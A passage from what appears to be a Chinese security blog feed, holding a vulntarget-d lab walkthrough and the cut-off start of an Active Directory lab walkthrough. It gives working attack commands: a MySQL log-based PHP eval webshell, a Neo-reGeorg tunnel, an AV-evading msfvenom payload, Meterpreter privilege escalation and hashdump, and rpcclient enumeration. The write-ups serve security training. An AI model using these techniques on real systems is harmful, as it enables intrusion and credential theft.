Pwnkit2024<br></code></pre></td></tr></table></figure><p>这里的 <code>-k</code> 参数是自定义密钥，客户端和服务端必须一致。执行后会在 <code>neoreg_servers/</code> 目录生成各种平台的tunnel脚本。</p><p><strong>2. 上传tunnel.php到目标服务器</strong></p><p>我们需要的是 <code>tunnel.php</code>，把它上传到外网webshell能访问的web目录。我用哥斯拉的文件管理功能，直接上传到 <code>/www/wwwroot/upload/tunnel.php</code>。</p><p>上传后验证一下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl http://192.168.111.20:81/tunnel.php<br></code></pre></td></tr></table></figure><p>返回200就说明文件可以正常访问了。</p><p><strong>3. 启动本地SOCKS5代理</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">python neoreg.py -u http://192.168.111.20:81/tunnel.php -k Pwnkit2024 -p 1080<br></code></pre></td></tr></table></figure><p>看到 <code>INFO: Starting socks server (127.0.0.1:1080)</code> 就说明代理启动成功了。这个终端要保持运行，别关。</p><p><strong>4. 验证代理效果</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl -x socks5://127.0.0.1:1080 http://10.0.20.136<br></code></pre></td></tr></table></figure><p>返回 HTTP 200，响应时间不到1秒！这速度比哥斯拉的代理快太多了。✅</p><h2 id="第三步：攻击内网Windows机器"><a href="#第三步：攻击内网Windows机器" class="headerlink" title="第三步：攻击内网Windows机器"></a>第三步：攻击内网Windows机器</h2><h3 id="发现phpMyAdmin"><a href="#发现phpMyAdmin" class="headerlink" title="发现phpMyAdmin"></a>发现phpMyAdmin</h3><p>通过代理访问内网Windows机器（10.0.20.136），发现80端口运行着phpStudy环境。直接访问 <code>/phpmyadmin</code> 路径，居然真的有！</p><p>试了试弱口令 <code>root/root</code>，直接登进去了。这年头还有这样的弱口令，真是让人哭笑不得。</p><h3 id="MySQL日志写shell-第一次尝试"><a href="#MySQL日志写shell-第一次尝试" class="headerlink" title="MySQL日志写shell - 第一次尝试"></a>MySQL日志写shell - 第一次尝试</h3><p>看到phpMyAdmin，我第一反应就是用MySQL日志写shell。原理很简单：</p><ol><li>开启MySQL的通用日志（general_log）</li><li>把日志文件路径设置成web目录下的PHP文件</li><li>执行一条包含PHP代码的SQL查询</li><li>PHP代码会被记录到日志文件中</li><li>访问这个日志文件就能执行我们的代码</li></ol><p><strong>第一次尝试 - 踩坑了</strong></p><p>我一开始是这么操作的：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SET</span> <span class="hljs-keyword">GLOBAL</span> general_log<span class="hljs-operator">=</span><span class="hljs-string">&#x27;ON&#x27;</span>;<br><span class="hljs-keyword">SET</span> <span class="hljs-keyword">GLOBAL</span> general_log_file<span class="hljs-operator">=</span><span class="hljs-string">&#x27;C:/phpStudy/PHPTutorial/WWW/s.php&#x27;</span>;<br><span class="hljs-keyword">SELECT</span> <span class="hljs-string">&#x27;&lt;?php @eval($_POST[x]);?&gt;&#x27;</span>;<br><span class="hljs-keyword">SET</span> <span class="hljs-keyword">GLOBAL</span> general_log<span class="hljs-operator">=</span><span class="hljs-string">&#x27;OFF&#x27;</span>;<br></code></pre></td></tr></table></figure><p>一次性执行了多条SQL，感觉很完美对吧？结果访问 <code>s.php</code> 后，发现虽然文件存在，但执行命令时返回的全是MySQL日志内容，看不到命令执行结果。</p><p>我一度以为失败了，觉得日志写shell这个方法在这个环境下不可行。</p><p><strong>转机 - 其实成功了</strong></p><p>后来仔细测试了一下，发现其实shell是能用的！只是返回内容混杂了大量MySQL日志，我没有正确识别出命令执行结果。</p><p>测试命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl -x socks5://127.0.0.1:1080 -X POST \<br>  -d <span class="hljs-string">&quot;x=system(&#x27;echo test_s_php&#x27;);&quot;</span> \<br>  http://10.0.20.136/s.php<br></code></pre></td></tr></table></figure><p>返回内容里确实有 <code>test_s_php</code>！原来PHP代码一直都在执行，只是被日志内容包围了。</p><h3 id="第二次尝试-按官方思路来"><a href="#第二次尝试-按官方思路来" class="headerlink" title="第二次尝试 - 按官方思路来"></a>第二次尝试 - 按官方思路来</h3><p>参考官方WriteUp，我又按照标准流程做了一遍：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-comment">-- 1. 设置日志文件路径</span><br><span class="hljs-keyword">SET</span> <span class="hljs-keyword">GLOBAL</span> general_log_file<span class="hljs-operator">=</span><span class="hljs-string">&#x27;C:/phpstudy/PHPTutorial/www/vulntarget.php&#x27;</span>;<br><br><span class="hljs-comment">-- 2. 写入一句话木马</span><br><span class="hljs-keyword">SELECT</span> <span class="hljs-string">&#x27;&lt;?php eval($_POST[&quot;vuln&quot;]); ?&gt;&#x27;</span>;<br></code></pre></td></tr></table></figure><p>生成了 <code>vulntarget.php</code> 这个文件（约912字节）。</p><p><strong>测试命令执行</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl -x socks5://127.0.0.1:1080 -X POST \<br>  -d <span class="hljs-string">&quot;vuln=system(&#x27;whoami&#x27;);&quot;</span> \<br>  http://10.0.20.136/vulntarget.php<br></code></pre></td></tr></table></figure><p>成功返回：<code>win-d4s86jo2r26\crow</code> ✅</p><h3 id="用哥斯拉连接"><a href="#用哥斯拉连接" class="headerlink" title="用哥斯拉连接"></a>用哥斯拉连接</h3><p>命令行操作效率太低，直接上哥斯拉：</p><p><strong>连接信息</strong>：</p><ul><li>URL: <code>http://10.0.20.136/vulntarget.php</code></li><li>密码: <code>vuln</code></li><li>代理: SOCKS5 <code>127.0.0.1:1080</code></li></ul><p>连接成功后，可以看到当前用户是 <code>crow</code>，并且已经是管理员权限了！</p><h2 id="第四步：Windows提权与密码抓取"><a href="#第四步：Windows提权与密码抓取" class="headerlink" title="第四步：Windows提权与密码抓取"></a>第四步：Windows提权与密码抓取</h2><p>虽然通过phpMyAdmin已经拿到了<code>crow</code>用户的管理员权限webshell，但作为完整的渗透流程，我们还需要提权到SYSTEM并抓取密码。</p><h3 id="检查安全软件"><a href="#检查安全软件" class="headerlink" title="检查安全软件"></a>检查安全软件</h3><p>通过webshell执行命令检查杀软：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">tasklist /svc<br></code></pre></td></tr></table></figure><p>发现系统安装了<strong>火绒安全软件</strong>，这意味着普通的MSF木马会被查杀，需要做免杀处理。</p><h3 id="生成免杀木马"><a href="#生成免杀木马" class="headerlink" title="生成免杀木马"></a>生成免杀木马</h3><p>使用msfvenom的编码器进行多次迭代免杀：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 7 -b <span class="hljs-string">&#x27;\x00&#x27;</span> LPORT=1234 -f raw -o crowsec.jpg<br></code></pre></td></tr></table></figure><p><strong>参数说明：</strong></p><ul><li><code>-e x86/shikata_ga_nai</code>：使用shikata编码器</li><li><code>-i 7</code>：迭代编码7次</li><li><code>-b &#39;\x00&#39;</code>：避免空字节</li><li><code>LPORT=1234</code>：监听端口</li><li><code>-f raw</code>：原始格式输出</li></ul><p>配合加载器使用，上传到Windows系统并执行。</p><h3 id="MSF连接与提权"><a href="#MSF连接与提权" class="headerlink" title="MSF连接与提权"></a>MSF连接与提权</h3><p><strong>启动MSF监听：</strong></p><figure class="highlight gams"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs gams">use exploit/multi/handler<br><span class="hljs-keyword">set</span> payload <span class="hljs-comment">windows</span>/meterpreter/<span class="hljs-comment">bind_tcp</span><br><span class="hljs-keyword">set</span> <span class="hljs-comment">RHOST 10.0.20.136</span><br><span class="hljs-keyword">set</span> <span class="hljs-comment">LPORT 1234</span><br>run<br></code></pre></td></tr></table></figure><p><strong>执行木马后成功建立会话！</strong></p><p><strong>尝试提权：</strong></p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs nginx"><span class="hljs-attribute">meterpreter</span> &gt; getsystem<br></code></pre></td></tr></table></figure><p>提权成功！✅ 当前已经是SYSTEM权限。</p><h3 id="抓取明文密码-32位-64位问题"><a href="#抓取明文密码-32位-64位问题" class="headerlink" title="抓取明文密码 - 32位&#x2F;64位问题"></a>抓取明文密码 - 32位&#x2F;64位问题</h3><p>直接执行抓密码命令：</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs nginx"><span class="hljs-attribute">meterpreter</span> &gt; hashdump<br></code></pre></td></tr></table></figure><p>结果失败了！原因是我们生成的木马是32位的，而很多系统进程是64位的。</p><p><strong>解决方法：进程迁移</strong></p><ol><li><p>查看当前进程：</p><figure class="highlight mel"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs mel">meterpreter &gt; <span class="hljs-keyword">getpid</span><br></code></pre></td></tr></table></figure></li><li><p>查看系统进程列表：</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs nginx"><span class="hljs-attribute">meterpreter</span> &gt; ps<br></code></pre></td></tr></table></figure></li><li><p>迁移到64位的SYSTEM进程：</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">meterpreter</span> &gt; migrate <span class="hljs-number">504</span><br></code></pre></td></tr></table></figure></li></ol><p><strong>注意：</strong> 必须选择User为<code>NT AUTHORITY\SYSTEM</code>的64位进程！</p><ol start="4"><li>重新抓取密码：<figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs nginx"><span class="hljs-attribute">meterpreter</span> &gt; hashdump<br></code></pre></td></tr></table></figure></li></ol><p><strong>成功获取明文密码：</strong></p><ul><li>用户名：<code>crow</code></li><li>密码：<code>admin</code></li></ul><h3 id="开启RDP远程桌面"><a href="#开启RDP远程桌面" class="headerlink" title="开启RDP远程桌面"></a>开启RDP远程桌面</h3><p>为了方便后续操作，开启Windows的远程桌面：</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs dockerfile">meterpreter &gt; <span class="hljs-keyword">run</span><span class="language-bash"> post/windows/manage/enable_rdp</span><br></code></pre></td></tr></table></figure><p>配置好SOCKS代理后，就可以通过RDP远程连接Windows机器了。</p><h2 id="第五步：寻找Flag"><a href="#第五步：寻找Flag" class="headerlink" title="第五步：寻找Flag"></a>第五步：寻找Flag</h2><h3 id="一个有趣的发现"><a href="#一个有趣的发现" class="headerlink" title="一个有趣的发现"></a>一个有趣的发现</h3><p>拿到shell后，我本来打算先提权、抓密码、搞RDP，走一套标准的后渗透流程。</p><p>但突然意识到：我已经有管理员权限的webshell了，为什么不直接找flag？很多时候我们容易陷入”套路化”的思维，觉得必须要RDP登录才能拿flag，其实完全不必要。</p><h3 id="Flag在哪里？"><a href="#Flag在哪里？" class="headerlink" title="Flag在哪里？"></a>Flag在哪里？</h3><p>用哥斯拉的文件管理器浏览了几个常见位置：</p><ul><li><code>C:\Users\crow\Desktop</code> - 只有一个快捷方式</li><li><code>C:\Users\crow\Documents</code> - 空的</li><li><code>C:\</code> - 没有明显的flag文件</li></ul><p>用命令行搜索也不太好使，webshell返回的内容混杂了MySQL日志，很难解析。</p><h3 id="关键线索"><a href="#关键线索" class="headerlink" title="关键线索"></a>关键线索</h3><p>后来得知flag文件名叫 <code>falg.txt</code>（注意是 <strong>falg</strong> 不是 flag），这是典型的CTF技巧 - 故意拼错避免被轻易搜索到。</p><p><strong>最快方法</strong>：直接用哥斯拉的文件搜索功能，搜索 <code>falg.txt</code>，很快就找到了文件位置。</p><p>打开查看，得到flag：</p><figure class="highlight llvm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs llvm"><span class="hljs-keyword">c</span><span class="hljs-number">69</span>afdfaaf<span class="hljs-number">2</span>f<span class="hljs-number">7</span>d<span class="hljs-number">820</span>bb<span class="hljs-number">2</span><span class="hljs-keyword">c</span><span class="hljs-number">9</span>ff<span class="hljs-number">4598</span>d<span class="hljs-number">225</span><br></code></pre></td></tr></table></figure><p>任务完成！🎉</p><h2 id="经验总结"><a href="#经验总结" class="headerlink" title="经验总结"></a>经验总结</h2><h3 id="1-内网代理工具的选择"><a href="#1-内网代理工具的选择" class="headerlink" title="1. 内网代理工具的选择"></a>1. 内网代理工具的选择</h3><p>这次最大的收获是对比了不同代理工具的性能：</p><table><thead><tr><th>工具</th><th>性能</th><th>适用场景</th></tr></thead><tbody><tr><td>哥斯拉自带代理</td><td>很卡，几乎超时</td><td>临时测试</td></tr><tr><td>Neo-reGeorg</td><td>响应&lt;1秒，稳定</td><td>正式渗透推荐 ✅</td></tr></tbody></table><p><strong>教训</strong>：遇到代理慢的问题，不要死磕，及时换工具才是正道。</p><h3 id="2-MySQL日志写shell的坑"><a href="#2-MySQL日志写shell的坑" class="headerlink" title="2. MySQL日志写shell的坑"></a>2. MySQL日志写shell的坑</h3><p><strong>重要发现</strong>：即使返回内容混杂了大量MySQL日志，PHP代码也能正常执行！</p><p>我一开始以为失败了，其实只是没有正确识别命令执行结果。关键是要仔细观察返回内容，不要被日志迷惑。</p><p><strong>两个可用的shell</strong>：</p><ul><li><code>s.php</code> (密码: x) - 第一次尝试生成的，其实能用</li><li><code>vulntarget.php</code> (密码: vuln) - 第二次按官方流程生成的</li></ul><h3 id="3-思维定式要不得"><a href="#3-思维定式要不得" class="headerlink" title="3. 思维定式要不得"></a>3. 思维定式要不得</h3><p>拿到管理员权限的webshell后，我本能地想着要”提权→抓密码→RDP登录”。但其实仔细想想：</p><ul><li>我已经有管理员权限了</li><li>Webshell可以直接读取文件</li><li>何必非要RDP？</li></ul><p><strong>反思</strong>：不要被套路束缚，根据实际情况选择最高效的方法。有时候最简单的方法就是最好的方法。</p><h3 id="4-文件搜索的技巧"><a href="#4-文件搜索的技巧" class="headerlink" title="4. 文件搜索的技巧"></a>4. 文件搜索的技巧</h3><p>通过webshell命令行搜索文件效率很低，尤其是返回内容混杂的情况下。</p><p><strong>最佳实践</strong>：直接用webshell管理工具（如哥斯拉）的文件管理和搜索功能，可视化操作比命令行快得多。</p><h2 id="技术要点回顾"><a href="#技术要点回顾" class="headerlink" title="技术要点回顾"></a>技术要点回顾</h2><h3 id="Neo-reGeorg-使用要点"><a href="#Neo-reGeorg-使用要点" class="headerlink" title="Neo-reGeorg 使用要点"></a>Neo-reGeorg 使用要点</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 1. 生成加密tunnel</span><br>python neoreg.py generate -k &lt;密钥&gt;<br><br><span class="hljs-comment"># 2. 上传 neoreg_servers/tunnel.php 到web目录</span><br><br><span class="hljs-comment"># 3. 启动本地SOCKS5代理</span><br>python neoreg.py -u http://目标/tunnel.php -k &lt;密钥&gt; -p 1080<br><br><span class="hljs-comment"># 4. 配置工具使用代理</span><br>socks5://127.0.0.1:1080<br></code></pre></td></tr></table></figure><h3 id="MySQL日志写shell要点"><a href="#MySQL日志写shell要点" class="headerlink" title="MySQL日志写shell要点"></a>MySQL日志写shell要点</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-comment">-- 设置日志路径（注意路径格式）</span><br><span class="hljs-keyword">SET</span> <span class="hljs-keyword">GLOBAL</span> general_log_file<span class="hljs-operator">=</span><span class="hljs-string">&#x27;C:/phpstudy/PHPTutorial/www/shell.php&#x27;</span>;<br><br><span class="hljs-comment">-- 开启日志（如果未开启）</span><br><span class="hljs-keyword">SET</span> <span class="hljs-keyword">GLOBAL</span> general_log<span class="hljs-operator">=</span><span class="hljs-string">&#x27;ON&#x27;</span>;<br><br><span class="hljs-comment">-- 写入一句话木马</span><br><span class="hljs-keyword">SELECT</span> <span class="hljs-string">&#x27;&lt;?php eval($_POST[&quot;pass&quot;]); ?&gt;&#x27;</span>;<br></code></pre></td></tr></table></figure><p><strong>注意事项</strong>：</p><ul><li>生成的日志文件会包含MySQL日志头部</li><li>PHP代码能正常执行，不要被混杂的日志内容迷惑</li><li>文件大小通常在几百字节到1KB之间</li></ul><h2 id="工具清单"><a href="#工具清单" class="headerlink" title="工具清单"></a>工具清单</h2><table><thead><tr><th>工具</th><th>用途</th><th>下载地址</th></tr></thead><tbody><tr><td>Neo-reGeorg</td><td>内网SOCKS5代理</td><td><a href="https://github.com/L-codes/Neo-reGeorg">https://github.com/L-codes/Neo-reGeorg</a></td></tr><tr><td>哥斯拉</td><td>Webshell管理工具</td><td>自行搜索</td></tr><tr><td>curl</td><td>命令行HTTP测试</td><td>系统自带</td></tr></tbody></table><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>这次vulntarget-d靶场的实战演练让我收获很多：</p><ol><li><p><strong>工具选择的重要性</strong> - 合适的工具能大幅提升效率，不要在性能差的工具上浪费时间</p></li><li><p><strong>不要被表象迷惑</strong> - MySQL日志写shell虽然返回内容混杂，但其实一直都在正常工作</p></li><li><p><strong>灵活变通</strong> - 有了管理员webshell就能直接读flag，不必执着于”标准流程”</p></li><li><p><strong>细节决定成败</strong> - 文件名 <code>falg.txt</code> 而不是 <code>flag.txt</code>，这种小细节很容易被忽略</p></li></ol><p>总的来说，这是一个很好的内网渗透练习靶场，涵盖了代理搭建、弱口限利用、日志写shell等常见技术点。推荐给想练习内网渗透的朋友们！</p><hr><p><strong>最终Flag</strong>: <code>c69afdfaaf2f7d820bb2c9ff4598d225</code></p><p><strong>完成时间</strong>: 2026-07-06</p><p>Happy Hacking! 🎯</p>]]>
    </content>
    <id>http://82.156.189.140:8085/2026/07/07/vulntarget-d/</id>
    <link href="http://82.156.189.140:8085/2026/07/07/vulntarget-d/"/>
    <published>2026-07-07T02:09:42.000Z</published>
    <summary>
      <![CDATA[<h1 id="vulntarget-d-靶场渗透实战记录"><a href="#vulntarget-d-靶场渗透实战记录" class="headerlink" title="vulntarget-d 靶场渗透实战记录"></a>vulntarget-d 靶场渗透实战记录</]]>
    </summary>
    <title>vulntarget-d</title>
    <updated>2026-07-18T03:15:21.943Z</updated>
  </entry>
  <entry>
    <author>
      <name>fortuneh2c</name>
    </author>
    <category term="题解" scheme="http://82.156.189.140:8085/categories/%E9%A2%98%E8%A7%A3/"/>
    <category term="CTF" scheme="http://82.156.189.140:8085/tags/CTF/"/>
    <category term="Writeup" scheme="http://82.156.189.140:8085/tags/Writeup/"/>
    <content>
      <![CDATA[<p>﻿# Soupedecode 01 域控渗透 - 从零到 SYSTEM 的完整记录</p><blockquote><p>复刻自 TryHackMe Soupedecode 01，单机域控练习，flag 在目标 C 盘根目录下。<br>目标：192.168.111.20  本机：192.168.111.25  VPN 已连接</p></blockquote><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>这是棉花糖复刻的 TryHackMe Soupedecode 01 域控渗透靶场，考点覆盖了从外网侦察到域内提权的完整链路。这篇文章记录了实际操作的全过程，包括每一步踩的坑和思路转折，希望能帮到同样在学 AD 渗透的朋友。</p><h2 id="0x01-端口扫描与服务识别"><a href="#0x01-端口扫描与服务识别" class="headerlink" title="0x01 端口扫描与服务识别"></a>0x01 端口扫描与服务识别</h2><p>先用 fscan 快速扫一遍常见端口：</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">fscan</span>.exe -h <span class="hljs-number">192.168.111.20</span><br></code></pre></td></tr></table></figure><p>扫出 4 个端口：135、139、445、88。但 fscan 默认只扫常见端口，漏掉了域控的关键服务。用 PowerShell 写了个快速 TCP 探测，把域控典型端口全测了一遍：</p><figure class="highlight basic"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs basic"><span class="hljs-symbol">53 </span>   <span class="hljs-keyword">OPEN</span>   DNS<br><span class="hljs-symbol">88 </span>   <span class="hljs-keyword">OPEN</span>   Kerberos<br><span class="hljs-symbol">135 </span>  <span class="hljs-keyword">OPEN</span>   RPC<br><span class="hljs-symbol">139 </span>  <span class="hljs-keyword">OPEN</span>   NetBIOS<br><span class="hljs-symbol">389 </span>  <span class="hljs-keyword">OPEN</span>   LDAP<br><span class="hljs-symbol">445 </span>  <span class="hljs-keyword">OPEN</span>   SMB<br><span class="hljs-symbol">636 </span>  <span class="hljs-keyword">OPEN</span>   LDAPS<br><span class="hljs-symbol">3268 </span> <span class="hljs-keyword">OPEN</span>   全局目录 GC<br><span class="hljs-symbol">3269 </span> <span class="hljs-keyword">OPEN</span>   全局目录 GC（SSL）<br><span class="hljs-symbol">3389 </span> <span class="hljs-keyword">OPEN</span>   RDP<br><span class="hljs-symbol">5985 </span> <span class="hljs-keyword">OPEN</span>   WinRM<br></code></pre></td></tr></table></figure><p>53（DNS）、88（Kerberos）、389&#x2F;3268（LDAP）、445（SMB）、135（RPC）全在——这台机器是域控无疑，主机名 DC01。</p><h2 id="0x02-FQDN-获取"><a href="#0x02-FQDN-获取" class="headerlink" title="0x02 FQDN 获取"></a>0x02 FQDN 获取</h2><p>渗透 AD 第一步要搞清楚域名。Windows AD 域有两套名字：</p><ul><li>NetBIOS 短名：SOUPEDECODE（fscan 扫出来的）</li><li>FQDN 完整域名：需要主动获取</li></ul><p><code>.local</code> 不是默认后缀，不能猜。有两种方式拿到 FQDN：</p><h3 id="方式一：匿名-LDAP-查-RootDSE"><a href="#方式一：匿名-LDAP-查-RootDSE" class="headerlink" title="方式一：匿名 LDAP 查 RootDSE"></a>方式一：匿名 LDAP 查 RootDSE</h3><p>LDAP 服务器（389 端口）允许匿名绑定查询 RootDSE，里面有 <code>defaultNamingContext</code> 字段：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> System.DirectoryServices.Protocols <span class="hljs-keyword">import</span> LdapConnection, AuthType<br>conn = LdapConnection(<span class="hljs-string">&quot;192.168.111.20:389&quot;</span>)<br>conn.AuthType = AuthType.Anonymous<br>conn.Bind()<br><span class="hljs-comment"># 查 RootDSE</span><br><span class="hljs-comment"># defaultNamingContext = DC=soupedecode,DC=local</span><br></code></pre></td></tr></table></figure><p>把 <code>DC=</code> 去掉用点拼起来就是 FQDN：<code>soupedecode.local</code>，Kerberos realm 用 <code>SOUPEDECODE.LOCAL</code>。</p><blockquote><p>小坑：用 ADSI（DirectoryEntry）匿名绑定时，它会偷偷用当前 Windows 登录身份去认证，反而连不上。换成 LdapConnection + 强制 Anonymous 才干净。</p></blockquote><h3 id="方式二：enum4linux-ng-通过-SMB-获取"><a href="#方式二：enum4linux-ng-通过-SMB-获取" class="headerlink" title="方式二：enum4linux-ng 通过 SMB 获取"></a>方式二：enum4linux-ng 通过 SMB 获取</h3><p>enum4linux-ng 在 445 端口建立 SMB 会话后，会从 SMB 协议的协商响应里直接读到域信息，不需要任何凭据：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">enum4linux-ng -P 192.168.111.20<br></code></pre></td></tr></table></figure><p>输出里的关键字段：</p><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs pgsql">NetBIOS computer <span class="hljs-type">name</span>: DC01<br>NetBIOS <span class="hljs-keyword">domain</span> <span class="hljs-type">name</span>: SOUPEDECODE<br>DNS <span class="hljs-keyword">domain</span>: SOUPEDECODE.<span class="hljs-keyword">LOCAL</span><br>FQDN: DC01.SOUPEDECODE.<span class="hljs-keyword">LOCAL</span><br></code></pre></td></tr></table></figure><p>SMB 协议在会话协商阶段会交换机器的完整域名信息，enum4linux-ng 帮你把它解析出来了。两种方式的区别：LDAP 走 389 端口查目录元数据，SMB 走 445 端口从协议握手里读。哪条通就用哪条，实战中两个都试一遍最稳。</p><h2 id="0x03-空会话与匿名枚举（全部失败）"><a href="#0x03-空会话与匿名枚举（全部失败）" class="headerlink" title="0x03 空会话与匿名枚举（全部失败）"></a>0x03 空会话与匿名枚举（全部失败）</h2><h3 id="SMB-空会话"><a href="#SMB-空会话" class="headerlink" title="SMB 空会话"></a>SMB 空会话</h3><figure class="highlight elixir"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs elixir">net <span class="hljs-keyword">use</span> \\<span class="hljs-number">192.168</span>.<span class="hljs-number">111.20</span>\<span class="hljs-title class_">IPC</span><span class="hljs-variable">$ </span>/<span class="hljs-symbol">user:</span>guest <span class="hljs-string">&quot;&quot;</span><br></code></pre></td></tr></table></figure><p>用 net use 测了空会话和 guest 空密码。结果：</p><ul><li>SYSVOL&#x2F;NETLOGON：拒绝匿名</li><li>backup 共享：能连不能读（Access Denied）</li><li>用 <code>smbclient -L //192.168.111.20 -U &#39;guest%&#39;</code> 列出共享，能看到 backup、NETLOGON、SYSVOL（Windows 下也可以用 <code>net view \\192.168.111.20</code>）</li></ul><h3 id="匿名-LDAP"><a href="#匿名-LDAP" class="headerlink" title="匿名 LDAP"></a>匿名 LDAP</h3><p>匿名绑定成功了，但只能读 RootDSE 元数据（域名、命名上下文），子树搜索用户列表被拒（<code>An operation error occurred</code>）。</p><h3 id="AS-REP-Roasting"><a href="#AS-REP-Roasting" class="headerlink" title="AS-REP Roasting"></a>AS-REP Roasting</h3><p>用 impacket 原版 GetNPUsers.py 对已知用户做 AS-REP Roasting：</p><figure class="highlight fortran"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs fortran">GetNPUsers.py SOUPEDECODE.<span class="hljs-keyword">LOCAL</span>/ -usersfile vusers.txt -request -dc-ip <span class="hljs-number">192.168</span><span class="hljs-number">.111</span><span class="hljs-number">.20</span> -no-<span class="hljs-keyword">pass</span><br></code></pre></td></tr></table></figure><p>结果：所有用户都启用了预认证（<code>doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set</code>），没有可烤用户。</p><p>到这一步，所有”无凭据白嫖”的通道都试过了，全堵死。</p><h2 id="0x04-突破口：guest-rpcclient-RID-爆破"><a href="#0x04-突破口：guest-rpcclient-RID-爆破" class="headerlink" title="0x04 突破口：guest + rpcclient + RID 爆破"></a>0x04 突破口：guest + rpcclient + RID 爆破</h2><p>这是整个渗透的转折点。</p><p>之前用 <code>net use</code> 测 guest 时，注意力全放在”能不能读共享、能不能调 enumdomusers”，都被拒就以为 guest 这条路死了。但其实 <strong>一个命令不行，不代表所有命令都不行</strong>。</p><p>关键区别在于：<code>net use</code> 只是建立通道，不会去管道里调 RPC 函数；而 <code>rpcclient</code> 会主动打开 <code>\PIPE\lsarpc</code> 命名管道调 LSA 接口。每个 RPC 接口有独立的权限检查，要逐个试探。</p><p>Windows 原生没有 rpcclient，在 WSL Kali 里装了 smbclient（含 rpcclient）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">rpcclient -U <span class="hljs-string">&#x27;guest%&#x27;</span> 192.168.111.20<br></code></pre></td></tr></table></figure><p>进去后依次试三个命令：</p><figure class="highlight crystal"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs crystal">rpcclient <span class="hljs-variable">$&gt;</span> lsaquery          <span class="hljs-comment"># 成功！拿到域 SID</span><br>rpcclient <span class="hljs-variable">$&gt;</span> enumdomusers      <span class="hljs-comment"># 被拒 ACCESS_DENIED</span><br>rpcclient <span class="hljs-variable">$&gt;</span> lookupsids S-<span class="hljs-number">1</span>-<span class="hljs-number">5</span>-<span class="hljs-number">21</span>-xxx-<span class="hljs-number">500</span>   <span class="hljs-comment"># 成功！反查出 